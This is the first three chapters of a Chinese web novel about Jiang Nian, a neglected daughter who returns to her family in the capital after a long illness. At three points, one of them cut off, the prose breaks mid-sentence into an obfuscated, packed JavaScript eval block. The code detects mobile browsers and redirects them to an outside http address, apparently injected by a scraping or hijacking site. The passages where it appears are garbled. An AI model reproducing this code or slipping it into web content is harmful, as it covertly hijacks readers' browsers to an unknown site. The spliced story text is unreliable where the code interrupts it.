《退婚后嫁给他哥》 1. 第 1 章 暮秋九月，上京码头。 又一辆车从远处驶来，丫鬟半夏急急探头去看，那车越过茶棚，一径往码头边去了。依旧不是江家的车子。 从三姑娘江念下船到如今已经快两个时辰了，江家来接的车子还是不见踪影。 “这都半下午了，还要等到什么时候？”管事的王妈妈拉着一张瘦长的老脸，“这也就是三姑娘，换了大姑娘跟二姑娘……” 大姑娘嫡出长女，金尊玉贵，二姑娘虽然和三姑娘一样庶出，但才名远播，很得老爷看重，若换了是她们，只怕人没下船，车子早就在岸上等着了——不，若是她们，又怎么舍得一个人留在孤山那种偏僻地方，还在生着重病的时候？半夏心里想着，又怕江念听见了难过，连忙打岔：“妈妈渴不渴，要不要喝点水？” 茶棚里人影一动，江念开了口：“王妈妈。” 阳光从棚外斜照，明明暗暗落在她脸上身上，大病初愈后褪去了少女的圆润，显出眉长鼻挺，清绝的骨相：“路口那家车轿行，你去问问价钱，雇辆车回家。” 话没说完已经咳嗽起来，半夏连忙过去倒水：“姑娘喝口水润润吧。” “这可不成！”王妈妈一口否决，“一个没出阁的姑娘家，怎么能坐外头的车？传出去了让人笑话！” 江念慢慢抿一口水，抬眼看她。 八年前朝堂动荡，父亲因直言犯上，左迁出京。几年间一贬再贬，最后贬在孤山任别驾一职。今年春天局势变换，父亲官复原职，奉旨回京上任，一家人欢天喜地准备出发时，她却突然得了伤寒。 这病来得凶猛，只一两天她便卧床不起，神志不清。大夫看了都道凶多吉少，又说这病不可劳累走动，只宜卧床静养，可上任的期限耽误不得，父亲和嫡母再三商量权衡，也只得暂时留下她养病，又挑了王妈妈和半夏服侍。 她病得厉害无法主事，半夏年轻资历浅，王妈妈自然便成了做主的人。这病从初春到暮秋才堪堪痊愈，王妈妈这大半年里做惯了主，行事专横，像这样当面驳她的话也不是一回两回了。 江念又抿了一口水：“从码头到家几十里路，中间那片树林，不好走。” 离京的情形她还记得，中间要经过一大片黑压压的树林，据说里面有狼，一家人都走得提心吊胆。她午时不到下的船，现在都快申时了，再不走，到树林时天就黑了，孤零零几个女眷，实在危险。 王妈妈经她一提醒，心里也有点发毛，犹豫着：“万一咱们刚走，来接的车就到了呢？” “开窗看着，进京出京就这么一条路，不会错过的。”江念道。 “没钱，”王妈妈一摊手，“怎么雇车？” 钱一直都缺。这半年里莫说衣食，连看病抓药都经常得赊欠。回京时家里寄了十五两银子做盘缠，三个人的船钱花去九两，剩下的哪怕再省吃俭用，到底也只剩下了几十文。江念放下茶碗：“雇最便宜的，只付定金，到家再给余款。” 必须赶在天黑前回家，她千难万险捡回这条命，决不能在最后关头出岔子。 “家里没接，自己回去算什么？”王妈妈还是没动。 她原是服侍江念嫡母的粗使婆子，因着家里婢仆太少，她年纪又大些，所以才留下她照顾江念。从粗使婆子变成服侍小姐的妈妈原本是升了，可江念只是个不受宠的庶女，养病这大半年里要钱没钱要人没人，她这个妈妈也当得憋屈。更可恨的是病好了要回京，家里腾不出人手来接，只让她们搭官船进京，这待遇，比粗使婆子还不如。 王妈妈攒了大半年牢骚，唯一的念想就是回去之后，能在同侪面前炫耀高升，可要是就这么灰溜溜地自己雇车回去了，谁不知道三姑娘根本没人在意，她这张老脸还往哪儿搁？ “去。”耳边传来江念低低的语声，王妈妈还想再辩，她重又端起茶碗，一言不发的，自碗沿上头看她一眼。 本是一双柔美的柳叶眼，因着眼白极白，眼珠又极黑，陡然便生出几分凛然的威势。王妈妈愣了下，想起这半年里她虽然言语不多，但绝不是个好拿捏的，也只得悻悻地去了。 江念慢慢的，把那盏水喝完。喉咙里干涩发痒的感觉稍稍下去点，余光瞥见王妈妈进了车马行，这才叫过半夏：“结账吧。” 粗茶一文钱一碗，三个人一共三文。午饭是就着粗茶吃的干粮，没花钱。半夏会了钱钞上前扶着，江念慢慢走出茶棚。 道边商铺辐集，散在秋风里，高高低低的叫卖声。久违的，上京口音。离开八年，虽不敢奢望家中会热情迎接，亦不曾料到会在寒风里苦苦等了两个时辰，一个人也没等到。 “姑娘小心些，别呛着风了。”没有斗篷，半夏便用身体替她挡着风，“要么还是回棚里坐着吧？” 来时为了凑路费，厚衣服都卖了，此时身上只穿了件薄薄的旧夹衣。江念掩着袖子又咳了几声：“没事，我走走看看。” 卖吃食玩器的，卖药酒茶香的，她要看的，是衣饰绣品。慢慢走着，问着，香囊汗巾之类，素的三四文，绣花的五六文，用料好绣得精致的，一分到三分银子都有。鞋袜便宜的十几文，镶珠嵌宝的，几分到十几两都有。绣件有苏绣蜀绣湘绣，小件的几分，大件贵重的能卖到几十两。 无论绣工还是裁剪，她都能做。江念停在一间首饰店前，门口的高案上摆着各色簪环，金银珠宝的，堆纱剪绒的，唯独没有通草花。上京码头四方交汇，时新货物最多，连这里都没有，看来这通草花，的确是个稀罕物件。 “抓贼，抓贼啊！”身后突然传来一声高喊，“贼偷了我的钱袋！” 哗啦，货架被撞翻，东西滚了一地，贼人飞快地冲过来，江念急急向边上躲，已经来不及了，擦着耳边一阵疾风，那贼撞倒了半夏，又撞上了她。 电光石火间江念看见他额头上模糊的刺字，贼人一霎时跑得远了，江念趔趄着将要摔倒，又被人扶住，在痛楚中抬头，对上一张星眉剑目的，年轻男子的脸。 是帮着抓贼的人。匆忙中并无一句言语， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780656|157955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只将她扶起站稳，随即一撩袍角，追着贼人疾奔而去。 “姑娘，”半夏爬起来，小跑着来扶她，“没事吧？” 方才被撞到的右臂此刻一阵阵迟钝的疼，江念忍着痛活动了几下，所幸骨头并没有伤到：“我没事，你怎么样？” 远处突然一阵欢呼，江念下意识地望过去，那年轻男子纵身一跃，抓住了贼人。 贼人挣扎中一摆头，江念又看见他额上的刺字，孤山流民的标志。 六十年前突厥犯边，攻陷大雍北境重镇孤山。六十年间大庸几次反攻，艰难夺回半数疆土，从此孤山一分为二，南边属大雍，北边陷在突厥，北边百姓心向故国，想尽办法逃走，但凡被突厥抓住的，便会在额上刺字，当成奴隶驱使。 在孤山时，江念曾见过不少逃回来的流民，额上都有这种刺字。 “打死他！”失主和百姓团团围住，叱骂着要打。 江念忍不住上前一步，却突然听见一个低沉浑厚的语声：“且慢。” 是抓贼的男子。运河上长风猎猎，吹动他苍青色的衣袍，他长身玉立，目光落在低头不语的贼人身上：“看他额上的刺字，应当是北孤山逃回来的同胞。” 人群中一片哗然，孤山失陷乃是扎在大雍人心上的一根刺，流民千里迢迢逃回来，多半带着伤残缺衣少食，大约是实在没办法了，才不得不干出偷窃的事。叱骂声渐渐停止，江念望着那男子，心中突地一动。 看起来好眼熟，仿佛，曾在哪里见过似的。 “又怎么了？”王妈妈急匆匆跑过来，“我一会儿没在就出事！” “没什么，”江念不想听她抱怨，截住话头，“车雇好了吗？” “雇好了，最便宜的驴车，一钱二分银子，四十文定钱，”王妈妈沉着脸，“走不走？” 天色不早了，该走的，可方才的救助之恩还不曾道谢。江念望着那边，众人没再打骂，七嘴八舌议论着散了，男子带着流民快步往河边走去，靠码头泊着一条大船，旌旗招展，卫兵林立。 是官船，他很可能有公务在身，却是不方便过去了。江念默默在心里道了谢，转过身：“走吧。” 驴车晃晃悠悠向城中行去，车厢小，连转身的空间都没有，方才被撞到的右臂还在发疼，江念默默捂着，望着窗外。 一辆又一辆车子迎面而过，皆不是江家的车。 她好像被彻底遗忘了。就像独自被留在孤山时，就像上个月，她独自过完十五岁生日时。 明明已经不抱希望，此时却还是难过，也许她，并没能完全死心吧。 “客人小心，要进树林了。”车夫在外面提醒了一声。 江念心里一紧，看见官道在前方突然收窄，黑压压的，路两侧投下密林的阴影。那片危险的树林到了。 松声趁着秋风，波涛一般，连绵响在耳边，江念紧紧攥着窗棂，有一刹那仿佛又回到了船上，心中突地一跳。 她想起来，方才那男子是谁了。 2. 第 2 章 孤山到上京八百里地，水旱两路均可通行，因为没有男丁护送，陆路不安全，所以江念搭漕运官船进京，走水路。 码头靠近军寨，临上船时恰逢军中操练，她曾隔着校场上招展的旌旗，远远见过那抓贼男子一面。 威震北地的建安军主帅，建安侯府嫡长子，沈离。 十一岁举秀才，十二岁投笔从戎，随祖父沈老侯爷镇守北境。十数年间驰骋沙场，以军功从最低阶的小卒升至三军副帅，几年前沈老侯爷病逝，沈离接掌建安军时，也不过年刚弱冠。 犹记她自河畔回眸，于震天金鼓声中遥望点将台上雄姿英发的青年，也曾惊讶这令突厥闻风丧胆的少帅竟如此年轻，却不曾想到不久之后，竟会在上京再次相遇，亦且得他援手。 “姑娘，”半夏低声提醒，“要么关上窗吧？” 眼前陡然一暗，车子驶进了密林，道两旁的枝杈层叠着拦住前路，像无数横生的，怪异的手臂。 王妈妈瑟缩着往角落里躲，江念定定神，伸手正要关窗，突然听见清脆的銮铃声，看见一辆大车穿过阴影疾驰而来，窗户里露出一张明眸皓齿的少女脸庞：“妹妹！” 是她一母同胞的二姐姐江筠。眼睛一下子湿了，江念不等车子停稳便跳了下来：“姐姐！” 她早该想到的，即便所有人都忘了她，但二姐不会。二姐待她从来都是最好，春日里所有人都要走，唯独二姐不肯，后来姨娘扯谎说她只是普通风寒，这才骗得二姐离开。这大半年里二姐总给她寄钱寄东西，家里缺钱她是知道的，这些钱，还不知二姐是怎么艰难才省下来给她的。 “抱歉，我来晚了，大姐姐要用车……”江筠急急下车，想说家里唯一的车子被长姐占用，所以来接得迟了，目光在她身上一扫，解释的话全都忘了，“你怎么瘦成这样了！” 薄薄的像一片纸，苍白的脸上只剩下一双幽沉沉的大眼睛。江筠心里难过，哽咽着将幼妹搂在怀里：“都怪我，我该留下来照顾你的。” 回京以后她才知道江念得的是伤寒重症，当时就要回孤山，又被父母拦住，这大半年里牵肠挂肚，不知替妹妹掉过多少眼泪。 “我都已经好了。”江念紧紧搂着她，“姐姐，我好想你。” “我知道，”江筠轻轻擦去她眼角的泪，“我也很想你。” 日色西斜，飞鸟啼叫着投进深林，江筠挽着她上了车：“好妹妹，家里人都等着你呢，我们快些走吧。” “好。”她手心的温度源源不断传过来，江念觉得暖和，家，在这一刻才有了真切踏实的感觉，“我们回家。” 车子飞快地前行，穿过密林，驶进上京城门，走过陌生又熟悉的街巷，江念紧紧依偎在江筠怀里，嗅着她身上的香气，听她轻言细语说着别后的思念，飘摇的心一点点踏实起来。二姐来接她了，她终于，回家了。 夕阳一点点下坠，暮色中粉墙灰瓦，朱红色的双扇门扉，是她阔别八年的家。 “好妹妹，到家了。”江筠先下了车，又伸手来扶她。 心砰砰跳着，江念怀着期待下车，大门半掩，石青的影壁遮住视线，四周一片寂静，一个人影也没有。 “人呢？”江筠乌黑的眉毛蹙了起来，急急往门内去，“快去通报，三姑娘回来了！” “老爷太太都没在家，姨娘也出去了，”内院的婆子迎出来，“大姑娘头疼，已经歇下了，四爷去赴文会，还没回来。” 原来，并没有人在等她。江念沉默着，将刚热起来的心，慢慢凉下。 “什么？”江筠一下子沉了脸，“我临走时大姐还好好的，怎么妹妹一回来，她就病了？” 边上王妈妈站住脚，竖着耳朵来听，江念连忙拦住：“姐，既然大姐不舒服，我就不去吵她了。” 江家姐弟四个，嫡母柳氏生了长姐江维鸾和四弟江维胤，生母张姨娘养了她和二姐。长姐性子骄傲，唯我独尊，她倒罢了，三姐妹中最不起眼的一个，长姐并不怎么放在眼里，但二姐学识好样貌好，自小就有才女之名，长姐心中不服，暗地里较劲也不是一次两次了。 这场较量在今年春天一家人返回京城后达到了顶峰。二姐考取了京中最有名的女塾林下书院，长姐也考了，没考上。长姐咽不下这口气，处处挑理，哪怕她远在孤山，也能从家书中感觉到两个姐姐之间剑拔弩张的气氛。 眼下这情形，分明是长姐跟二姐赌气，连带着不肯见她，虽然不知道原因，但当着下人的面，尤其王妈妈还是柳氏的人，不能让二姐落人口实。江念挽住江筠：“我先去拜见祖母吧。” 江筠看了眼王妈妈，忍着气：“好，祖母在西院，我带你去。” 江家宅院由一带矮墙一分为二，长房在东，二房在西，自打父亲江士元被贬出京，祖母江老太太便跟着二房住，住得习惯了，他们回来也不曾搬回。江筠挽着江念，边走边解释：“阿爹必是公务耽搁了，太太大概是有事，姨娘她，她……” 她也不知道张姨娘有什么急事，偏赶在妹妹回家这天出门。早晨上学时她还特意提醒过父母去接妹妹，结果等她散学回来，才知道车子被长姐占用，根本没人去接，她急急忙忙赶着接了回来，结果家里人一个都没有，就好像约好了，一齐丢下妹妹不管似的。 心里一阵歉疚，抚了抚妹妹消瘦的脸：“好妹妹，今天赶得不巧了，其实家里人都盼着你回来呢。” “我知道，”江念答应着，将心头的酸涩慢慢压下。至少，还有二姐，“我给祖母做了条抹额，做得不好，也不知道合不合祖母的意。” “要是你的针线还不好，那就没有好的了。”江筠笑起来，乌溜溜的眸子在暮色中闪着光。在孤山那些年江念一直做针线活补贴家用，绣工比多数绣娘还好，“祖母肯定喜欢。” 眼前是西院朱红的大门，迈过高高的门槛，一个丫鬟正急匆匆出来：“三姑娘，老太太说姑娘赶路辛苦又带着病，回去歇着吧，这几天就不用过来了。” 江念抬眼，越过丫鬟官绿的衣衫，望见正屋低垂的帘幕。 江府，前院。 “快点，”张姨娘快步进门，低声催促丫鬟，“时辰不早了。” 话没说完，先看见门后的车子，心里便是咯噔一下。 车回来了，江念肯定也回来了，她跑出去太久，没能接上。她倒不怕江念抱怨，这个小女儿不言不语性子软和，受了委屈也从不抱怨，但江筠却是个性子要强心疼妹妹的，早上就再三交代让她在家等着江念，她到底给错过了，只怕待会儿不好交代。 向看门的老苍头问道：“三姑娘回来了？” “回来了，二姑娘去接的，”老苍头道，“这会子都去西院了。” “什么？”张姨娘吃了一惊，“黑灯瞎火的，怎么能让二姑娘去接？” 西院，主屋。 天已经完全黑了，主屋亮着灯，拖出台阶长长的影子，江念低头，取出袖中那条福寿双全锦抹额。 沉香色缎子上蝙蝠衔着佛手、寿桃，底子是连绵不断的寿字纹。老年人用色不可太花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江念摸到她手心里厚厚的茧子，是常年劳作留下的痕迹，记忆中母亲的手。眼泪突然忍不住，哽咽着往她怀里扑：“姨娘。” 碰到她手里的纸包，长而硬，冰冷着硌人，江念抬头，对上江筠嗔怪的脸：“姨娘真是的，说好了今天在家等妹妹，你偏又跑出去！” “昨儿你说要买笔，”张姨娘嘟囔着辩解，“我怕丫头们挑不好，所以赶着去给你挑挑。” 她打开纸包，桑皮纸里包着两支上好的宣州笔，二姐画画常用这个，从前在孤山时，她也曾卖了绣活给二姐买。江念慢慢松开张姨娘，风好像又大了，冷嗖嗖的，直往骨头缝里钻，不远处丫鬟提着灯找了过来：“太太回来了，叫三姑娘过去呢。” 东院，正房。 大太太柳氏心神不宁，不停张望着窗外：“大姐儿头疼，是跟二丫头拌嘴，气的？她俩为什么拌嘴？” “大姐儿早上要车去了兰湖，二姑娘回来就不依了，”她的心腹陪房桂妈妈回禀道，“怪大姐儿耽搁了接三姑娘，拌了几句嘴，自己押车去接回来了。” “二丫头也太骄纵！仗着老爷偏心，一天到晚跟大姐儿置气。”柳氏气恼着，“不过，大姐儿去兰湖做什么？” “去赴刘四娘子的诗会，”桂妈妈低着声音，“听说刘二郎君也在。” 刘二郎，家里给江维胤相看的对象。柳氏叹了口气：“这孩子。” 想想今天在娘家商议的结果，眉头皱了起来：“大姐儿的亲事有眉目了，我现在最发愁的，就是三丫头的亲事。” 门外，江念耳上一热，停住步子。 3. 第 3 章 女儿家长大了就得嫁人，这似乎是条传之千古而不破的真理。 八月里江念及笄时，也曾听人打趣过，只是没想到回京第一天，就要面对这个问题。 踌躇着，停在门前不好进去，借着窗户里透出来的光，看见江筠脸上微微的红晕。方才柳氏唯独没提江筠，二姐的亲事是定了，还是没定？ 屋里的语声突然停住，桂妈妈打起帘子，含笑迎了出来：“三姑娘回来了，快请进。” 江念迈过门槛，未及行礼，早被柳氏拉住：“好孩子，你可算回来了。” 声音里竟带着哽咽，江念怔了下，对上柳氏微红的眼梢：“怎么瘦成这样？脸色这么差。” 记忆中的柳氏客气而疏离，这样关切爱护，从前从不曾有过。江念觉得不习惯，微微攥着拳：“母亲放心，我都已经好了。” “你年轻，不知道厉害，这种病好了也得养个一年半载，不然身子就都亏空了。”柳氏叹口气，吩咐桂妈妈，“去柜子里找找还有没有阿胶，以后每天煎一盏给三姑娘吃。” 江念连忙道谢，心里越来越惊讶。家中日子过得紧巴，财物之类，柳氏从来都是牢牢把在手里，像阿胶这种贵重补品，怎会拿给她吃？ 桂妈妈答应着去了，柳氏站起身来：“时辰不早了，我得过去服侍你祖母吃饭。你爹刚捎信说不回家吃，你兄弟也不在家，你跟着张姨娘吃吧，早点吃完早点睡，好好歇歇。” 又看了眼江筠：“二丫头留下陪你妹妹。” 丫鬟在前面打着灯，柳氏急匆匆走了，张姨娘带着姐妹俩往自己住的后罩房去，压低着声音：“阿弥陀佛，阿胶？太太今儿倒大方！” 饭摆在张姨娘房里，没有外人，母女三个一桌坐了，亲亲热热吃了一顿饭。将吃完时厨房送来了阿胶，熬化了加蜂蜜、桂圆、红枣，甜中带涩的独特气味，“快吃吧，”张姨娘端着碗，舀一勺喂江念，“这东西金贵得很，太太也只舍得偶尔吃一两回呢。” 江念吃了，舌尖上留着甜，莫名的，又想起柳氏微红的眼梢。是哭了吗，因为心疼她？ 张姨娘第二勺喂给江筠：“你也吃点，补气血的好东西。” 江念抬眼，看见江筠飞红的脸颊，她嗔怪着推辞：“娘你做什么？这是给妹妹补身体的，我好好的吃什么？” 张姨娘还在劝：“你读书辛苦，也得补补。” “我不吃！”江筠又羞又急，伸手推回来，“以后快别这样了。” “好了好了，不吃就算了，”张姨娘见她真的生气，只得又端回来喂江念，“你姐姐留给你的，快吃吧。” 江念低眉垂目，一勺一勺，慢慢吃完。 一更鼓响时，柳氏没回来，父亲和江维胤也没回来。 “你爹衙门里忙，看样子得半夜才能回来了。”张姨娘送她们回房，“早点睡吧，明天再见也不迟。” 东院四进，一进会客，二进是江维胤的院子和书房，三进是柳氏的主院，东跨院给了江维鸾，西厢是江筠住着，如今江念回来，便把北头两间腾出来给她，江筠住在南头。 熄灯许久，江念翻来覆去还是不能睡着。只觉得飘摇晃荡，就好像还随着孤舟在水上漂着似的，摇摇晃晃，不能安稳。披衣下床，穿过小厅，敲敲江筠的房门：“姐。” 门开了，黑暗中模糊看见江筠的笑脸：“就知道你会过来。” 她拉着她在床上躺下，被子暖得热了，软乎乎地熨帖着，江念听见窸窸窣窣，江筠给她掖被角的声音，到这时候才觉得安稳，那飘摇的感觉消失了，窝在江筠怀里闭着眼睛：“有姐姐，真好。” 无论有多少失望，委屈，只要有二姐，总会有令她安心的一方天地。 “今天接你迟了，并不是我忘了时间，”江筠搂着她，想起白天的事，不觉又带了气，“都是大姐姐不讲理！明知道今天得去接你，她偏占着车子不放。” “不要紧，”江念轻声劝解着，“大姐肯定是有急事。” “她能有什么急事？”江筠冷笑一声，“她是去赴诗会，都没请她，上赶着要去。我还不知道她的心思！” 赴诗会？江念有点意外。大庸文学昌盛，女子读书认字，乃至结诗社、画社也都是常事，但这些都是二姐擅长，长姐于此道并不精通。“什么心思？” “亲事。”黑暗中看不清，听见江筠幽幽的语声，“你刚刚也听见了，太太正在给咱们议亲。” 心跳快着，江念不敢做声，听见远处隐隐约约的动静。 矮墙下，江士元提着灯，飞快地往西院去。今天回来太晚，得赶在江老太太睡下前，过去请个安。 不远处又一团灯火，柳氏从西院出来，快步迎上：“老太太已经睡了。” 江士元也只得折返身：“母亲可好？” “都好。”柳氏顿了顿，再开口时，便带了埋怨，“怎么这会子才回来？可怜三丫头巴巴等了你半天。” “要走时平州来了急报，这几天估计都得忙，”江士元揉揉眉心，“你让她以后别等我了。” “至少明天抽个时间回来一趟，一家子吃顿饭吧。”柳氏叹着气，想起方才江老太太的话，心里既难过，又不平，“三丫头刚到家，头一个就去拜见老太太，谁知老太太不肯见，说她的病传染，连她辛辛苦苦做的抹额都给扔了。老爷是知道的，三丫头的病早就好了，可怜她一片孝心，白白碰了个钉子。” 江士元听她话里的意思似乎是埋怨江老太太，压眉停步：“母亲她老人家不容易，父亲过世早，她一个人拉扯大我们兄弟俩，辛辛苦苦供我们读书，吃了多少苦头。我如今忙，顾不上照顾她，你做媳妇的就该多操点心，像今天这种事你早就应该想到，怎么还能让她老人家自己说？” 这些话这些年里柳氏不知道听过多少遍，心里一阵翻腾，不能辩解，便低着头不做声，江士元抬起脚自己走了：“我去看看三丫头。” 大半年没见，又生着重病，他做父亲的也不是不想。 一径来到西厢，屋里黑漆漆的一点动静也无，姐妹两个看来都已经睡了，江士元想了想，转身往张姨娘屋里去了。 西厢。 心跳越来越快，江念忍着羞耻，鼓足勇气问道：“咱们的亲事，定下来了？” 心中生出惧意。成亲，曾经那么遥远的事，突然之间就推在面前。京中她谁也不认得，难道就这样仓促，由别人决定着，到陌生的家，与陌生人，过一辈子？ “大姐的好像差不多了，”江筠也觉得害羞，耳朵上热辣辣的，“我听娘说，太太给她看了刘翰林家的二郎君，今天的诗会是刘二郎的堂妹办的，所以大姐才一定要去。” 离京太久，江念并不知道刘翰林是哪家，但长姐的情形她是知道的。三年前便开始张罗亲事，因着孤山偏僻，家世人品般配的男子太少，柳氏便做主送她回上京，托付祖母和舅舅给她议亲。也许是机缘未到，三年来提过几家都没成，如今长姐已经十八岁了，也就怪不得着急。 可二姐十六，她也才刚及笄，需要这么急吗？江念向江筠怀里窝了窝：“姐，你的呢？” “我不知道，太太没说过。”江筠羞耻着，抬起胳膊挡住脸，“我不想那么早成亲，我想多上几年学，多学点东西，不过……” 她顿住了不说，江念等了片刻，等不及：“不过什么？” “不过，如果要嫁，我必要嫁个最好的。”江筠的声音闷闷的，从寝衣袖子里传出来，“要人品好才学好前程好，比所有人都强，我一定好好给娘争口气，让太太再不敢欺负娘！” “姐。”江念怔住了。 家里的情形她知道，张姨娘出身良家，因为柳氏生下长姐后几年没动静，所以由江老太太做主，十两银子抬进了门。满心指望能生儿子，谁知头胎生了二姐，怀着第二胎时都说是儿子，生下来却是她，反倒是同天分娩的柳氏生下了江家的嫡长孙江维胤。从此之后，张姨娘的地位一落千丈。 但被贬这八年里，因着柳氏出身高贵不谙劳作，所以家里苦活累活都是张姨娘做，又能裁衣刺绣补贴家用，渐渐地分量越来越重，连柳氏也不敢再轻慢，到后来都是与她姐妹相称。江念忍不住问道：“出了什么事？” 黑暗中，听见江筠微微沙哑的语声：“这半年你病着，所以我没跟你说，娘受了很多委屈。先前在孤山时，太太需要娘做活养家，就一口一个妹妹地哄她，可一回京城太太就变了脸，要立规矩，要讲尊卑，变着法地折腾娘，上次娘一时忘了叫了声姐姐，被桂妈妈好一通训斥。” 江念摸索着，在黑暗中给她擦泪：“姐，不哭了。” 江筠听出她嗓子里的哽咽，她也哭了，母女连心，又怎么能不心疼？伸手搂住江念：“桂妈妈不过是个下人，她凭什么教训娘？还不都是太太的意思。她们敢这么对待娘，无非因为你我都是女儿，她们觉得娘没有儿子没有依靠，就肆意妄为。我决不让她们如愿！” 后罩房。 张姨娘服侍着江士元吃宵夜，絮絮与他说着家常：“二姐儿真争气，今儿书院里联诗，她又拿了第一。” “筠儿一向聪颖用功。”江士元点点头，“三丫头怎么样，病可大好了？” “好是好了，人也瘦成一把骨头了。”张姨娘叹气，“今儿也寸了，我想着太太在家，我就出去给二姐儿买画笔，谁知道太太也出去了，大姑娘又要了车去赴诗会，害得三丫头没人接，在码头等了几个时辰，后来还是二姐儿散了学去接的。” “鸾儿又不上学，赴什么诗会？”江士元皱眉，“太太去哪里了？” “大姑娘去赴刘翰林家的诗会，太太回娘家去了。”张姨娘窥探着他的神色，“老爷，听说太太给大姑娘相看了刘家二郎，那二姐儿呢，她的亲事有着落了吗？” 正房。 桂妈妈掀帘进来，回禀道：“老爷去张姨娘屋里了。” 这么晚了，去了那里，必定就歇在那里了。柳氏冷哼一声：“说去看三丫头，原来是想看三丫头她娘。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780658|157955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桂妈妈使个眼色让小丫头退下，压低着声音：“太太下次回府的话还是先跟老爷商量一下吧，张姨娘可不是个省油的灯，这会子指不定怎么跟老爷嚼舌根呢。” “我怕什么？”柳氏带着气，“我是回去商量大姐儿的亲事，他们一家子都不管，难道还不许我操心？” 江维鸾的婚事是她一块心病，桂妈妈也曾听她无数次抱怨江老太太和二房不上心，害得江维鸾整整三年都没找到合适的人家，但江士元极是孝顺，若是让他听见了，夫妻两个又得生气。耐心劝道：“说一声总是周全些，既全了老爷的面子，也省得西院挑理。” 柳氏勉强点点头，想想在娘家时诸般顺心，嫁人之后种种不如意，心绪沉沉：“成亲嫁人，真不亚于女人第二次投胎。如今看来，刘二郎家世人品都是上乘，有舅老爷居中斡旋，眼下应该有五六分把握，等赶紧把大姐儿的亲事定下来，后面我好好给三丫头挑一个。” 眼圈红了：“看她今天那样子，我真是对不住她……” “太太快别这么说，”桂妈妈怕人听见，连忙拦住，“给三姑娘挑门好亲事，也就全了太太的情分了。” “难就难在这里，”柳氏长叹一声，“如今风气古怪得很，女子不单要挑家世嫡庶，还要挑才学，三丫头出身就吃了亏，又不像是个会念书的，这可怎么办？” 西厢。 江筠深吸一口气，抹掉眼泪：“你我都是庶出，咱们家门第又平常，想嫁得好，原是不容易。可如今世道不同了，世家娶妻不单看门第，更要看才学。我虽不才，好歹有小小名声，又进了世上最好的女塾，我早已想好了，必要好好读书，出人头地，以后为娘撑腰！” 江念紧紧搂着她，激荡着，又惶然着。在孤山的大半年里，世界仿佛收缩到极小，小到只有活下去一个念头，而此刻，世界又突然变大，陌生复杂，模糊窥见不安的边缘。“廿廿，”听见江筠叫她的乳名，“你呢，你以后准备怎么办？” “挣钱，”江念脱口说道。钱，多么重要，有了钱，看病抓药再不必赊欠，病得死去活来时，不必担心明天有没有饭吃，“很多钱。” 她能刺绣会裁衣，白天在码头上她查看过，那些绣品衣饰她全都能做，而且京中的价格，比孤山又高出许多。只要肯出力，她会挣到钱的。 “你还想做绣品挣钱？这可不行。”江筠猜到她的意图，端正了神色，“我们如今身份不同，没有官家小姐弄这些的。再说万般皆下品惟有读书高，这些你以后都弃了吧，等你身子好点我帮你温习，你也去考林下书院。” 江念怔住了。不能挣钱？可看病需要钱，读书需要钱，这世上一根针一条线都需要钱，没有钱，怎么活？沉默着，听江筠说着今后的打算，声音越来越远，越来越飘忽，突然之间，江念沉入了梦乡。 翌日清晨。 风浪很大，小船颠簸得厉害，苍茫的河上只有她一个人，江念看不见前方，找不到出口，在惶恐无助中突然听到有人叫她。 江念猛然醒来。她不在船上，方才的一切都是梦，江筠坐在床边，笑靥如花：“小懒虫，快起床啦，我们去拜见阿爹。” 梦里的飘摇消失了，江念起床洗漱，跟着她一道去拜见江士元。屋脊上旭日初升，屋子里一家人围坐吃饭，言笑晏晏。 一时饭毕，江士元上朝，江筠上学，江念独自回到房中，掩上门，打开藏在床下的小箱子。 箱子里满满当当，装着她这些年积攒的物件。丝线、棉线、金银线，各种尺寸的针、剪刀、绣绷，几大包碎绸缎、布头。靠着这些她挣了钱，补贴了家用，熬过了养病的半年，可二姐说，以后不能再弄了。 她从不曾质疑过二姐的决定，她只是有点怕，没有这些，假如再来一次伤寒，她还能熬过来吗？ 迟疑着，打开箱子里的锦盒。眼前乍然一亮，露出两支精美的通草花。是孤山绣坊的坊主周一娘送给她的，南边的稀罕物件，因她这些年总在绣坊做活，宾主相得，临走时送与她做纪念。 一支是牡丹花，花瓣轻薄晕红，花蕊纤细金黄，花萼下托着碧绿叶片，叶脉分明，与真花几无分别。周一娘说这东西金贵，配上簪环至少能卖五六两银，江念原打算琢磨琢磨做法，多一条挣钱的路子。 “在吗？”门外有人唤。 江念回头，江维鸾推门进来。 早饭时她说身子不好，没有去吃，这是分别三年后，江念第一次见她。比起三年前江维鸾高了些，柳眉杏眼，肌肤丰润，乌油油的头发梳成望仙髻，鬓边压一支累丝衔珠金凤，光艳照人。江念连忙起身行礼：“大姐姐好。” 